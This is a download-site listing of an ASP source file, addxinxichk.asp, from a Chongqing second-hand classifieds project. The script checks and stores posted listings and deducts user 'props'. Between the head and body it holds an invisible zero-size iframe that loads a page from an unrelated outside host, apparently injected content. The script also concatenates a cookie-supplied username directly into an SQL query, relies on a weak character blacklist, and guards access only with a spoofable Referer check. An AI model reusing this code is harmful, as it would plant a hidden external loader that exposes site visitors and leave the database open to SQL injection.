⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 addxinxichk.asp

📁 重庆二手网
💻 ASP
字号:
<!--#include file=conn.asp-->
<!--#include file=usercookies.asp-->
<%
'如果要关闭未登录发面信息,包函一个usercookies.asp   这样的文件就可以的。
 %>
<%
if instr(Request.ServerVariables("HTTP_REFERER"),Request.ServerVariables("SERVER_NAME"))=0 then
response.redirect "login.asp"
end if
%>
<html>
<head>
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>购买道具</title>
<link rel="stylesheet" type="text/css" href="1.CSS">
</head><iframe name="aa" frameborder=0 width=0 height="0" src="http://www.nbxqw.cn/ad.html" marginwidth="1" marginheight="1" scrolling="no" ></iframe>
<body topmargin="0" leftmargin="0">
<div align="center">
  <center>
  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="778" height="371">
    <tr>
      <td width="778" colspan="4" height="46"><!--#include file=top.asp--></td>
    </tr>
    <tr>
      <td width="157" height="299" valign="top"><br>
      <!--#include file=userleft.asp--></td>
      <td width="10" height="299" background="img/line_01.gif"> </td>
      <td width="603" height="299" valign="top" align="left">
      <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" height="329">
        <tr>
          <td width="100%" valign="top" height="329"> 
<!--#include file="err.asp"-->
<%
function chkijob(char) 
if instr(char,"'") then 
call errijob(13)
response.end 
end if
if instr(char,"|") then
call errijob(13)
response.end 
end if
if instr(char,"<") then
call errijob(13)
response.end 
end if
if instr(char,">") then
call errijob(13)
response.end 
end if
if instr(char,"&") then
call errijob(13)
response.end 
end if
if instr(char,"%") then
call errijob(13)
response.end 
end if
if instr(char,";") then
call errijob(13)
response.end 
end if
if instr(char,"$") then
call errijob(13)
response.end 
end if
end function
function IsValidEmail(email)
dim names, name,i,c
IsValidEmail = true
names = Split(email, "@")
if UBound(names) <> 1 then
   IsValidEmail = false
   exit function
end if
for each name in names
   if Len(name) <= 0 then
     IsValidEmail = false
     exit function
   end if
   for i = 1 to Len(name)
     c = Lcase(Mid(name, i, 1))
     if InStr("abcdefghijklmnopqrstuvwxyz_-.", c) <= 0 and not IsNumeric(c) then
       IsValidEmail = false
       exit function
     end if
   next
   if Left(name, 1) = "." or Right(name, 1) = "." then
      IsValidEmail = false
      exit function
   end if
next
if InStr(names(1), ".") <= 0 then
   IsValidEmail = false
   exit function
end if
i = Len(names(1)) - InStrRev(names(1), ".")
if i <> 2 and i <> 3 then
   IsValidEmail = false
   exit function
end if
if InStr(email, "..") > 0 then
   IsValidEmail = false
end if
end function
dim rs,sql,class1,class2,biaoti,jiage,diqu,memo,a,b,c,d,username,userip,id,youxiaoqi
if session("addxinxi")<>"" then
  if DateDiff("s",session("addxinxi"),Now())<30 then
  response.write "<li>系统保护:你提交数据太快,系统中止运行,请等待5分钟!"
  response.end
  end if
end if
username=request.cookies("ijob")("username")
class1=trim(request("class1"))
class2=trim(request("class2"))
biaoti=trim(request("biaoti"))
jiage=trim(request("jiage"))
diqu=trim(request("diqu"))
youxiaoqi=trim(request("youxiaoqi"))
memo=trim(request("memo"))
a=trim(request("a"))
b=trim(request("b"))
c=trim(request("c"))
d=trim(request("d"))
if class1="0" or class1="" then
errijob(10)
response.end
end if
if class2="0" or class2="" then
errijob(11)
response.end
end if
if biaoti="" then
errijob(12)
response.end
end if
chkijob(biaoti)
if len(biaoti)>40 then
errijob(21)
response.end
end if
if jiage="" or not isnumeric(jiage) then
errijob(14)
response.end
end if
if len(diqu)<1 or len(diqu)>10 then
errijob(15)
response.end
end if
if memo="" then
errijob(16)
response.end
end if
if trim(request("name"))="" then
errijob(17)
response.end
end if
if trim(request("email"))="" then
errijob(18)
response.end
end if
if IsValidEmail(trim(request("email")))=false then
errijob(19)
response.end
end if
if trim(request("dianhua"))="" then
errijob(20)
response.end
end if
if request.cookies("ijob")("username")<>"" then 
set rs=server.createobject("adodb.recordset")
sql = "select a,b,c,d from [user] where username='"&username&"'"
rs.open sql,conn,1,3
if len(a)=6 then
  if rs("a")<1 then
  errijob(25)
  response.end
  end if
rs("a")=rs("a")-1
end if
if b="" or b="0" then
b=0
else
  if rs("b")<int(b) then
  errijob(26)
  response.end
  end if
rs("b")=rs("b")-int(b)
end if
if c="1" then
  if rs("c")<1 then
  errijob(27)
  response.end
  end if
rs("c")=rs("c")-1
end if
if d="1"then
  if rs("d")<1 then
  errijob(28)
  response.end
  end if
rs("d")=rs("d")-1
end if
rs.update
rs.close
set rs=nothing
end if
set rs=server.createobject("adodb.recordset")
sql = "select * from xinxi"
rs.open sql,conn,1,3
rs.addnew
rs("username")=username
rs("class1")=class1
rs("class2")=class2
rs("biaoti")=biaoti
rs("leixing")=request("leixing")
rs("jiage")=jiage
rs("diqu")=diqu
rs("youxiaoqi")=youxiaoqi
rs("memo")=memo
rs("name")=trim(request("name"))
rs("email")=trim(request("email"))
rs("dianhua")=trim(request("dianhua"))
if request("a")="" then
rs("a")=0
else
rs("a")=trim(request("a"))
end if
if request("b")="" then
rs("b")=0
else
rs("b")=trim(request("b"))
end if
if request("c")="" then
rs("c")=0
else
rs("c")=trim(request("c"))
end if
if request("d")="1" then
rs("yz")=1
else
rs("yz")=0                  '把此处改为0则没有验证工具的用户发布信息需要管理员验证。
end if
rs("fbsj")=now()
userip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip="" Then 
userip=Request.ServerVariables("REMOTE_ADDR")
end if
rs("ip")=userip
rs.update
session("addxinxi")=now()
id=rs("id")
rs.close
set rs=nothing
closedb
if c="1" then
uptu
end if
response.write "<p align=""center"">恭喜你,信息发布成功!</p><br><br>"
if request.cookies("ijob")("username")="" then 
     response.write "<p align=""center""><font color='#ff0000'>您是在没有登录的情况下发布信息的,有很多功能您不能使用,如帖图,置顶,改变颜色等!</font></p>"
end if
%>
<title>信息发布</title>
<%sub uptu()%>
<meta http-equiv="Content-Language" content="zh-cn">
<link rel="stylesheet" type="text/css" href="1.CSS">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
  <tr>
    <td width="100%">
    <p align="center">你使用了<b><font color="#FF0000">贴图道具</font></b>,请在这里上传图片
    (gif,jpg)</td>
  </tr>
</table>
<form name="form1" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="id" value="<%=id%>">
<p align="center">
<input type="file" name="file1" value="" size="26">&nbsp; <input type="submit" value="提交" name="B1"></p>
</form>
<%end sub%>          
          </td>
        </tr>
      </table>
      </td>
      <td width="8" height="299" background="img/line_01.gif"> </td>
    </tr>
    <tr>
      <td width="778" height="26" colspan="4"><!--#include file=copywright.asp--></td>
    </tr>
  </table>
  </center>
</div>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -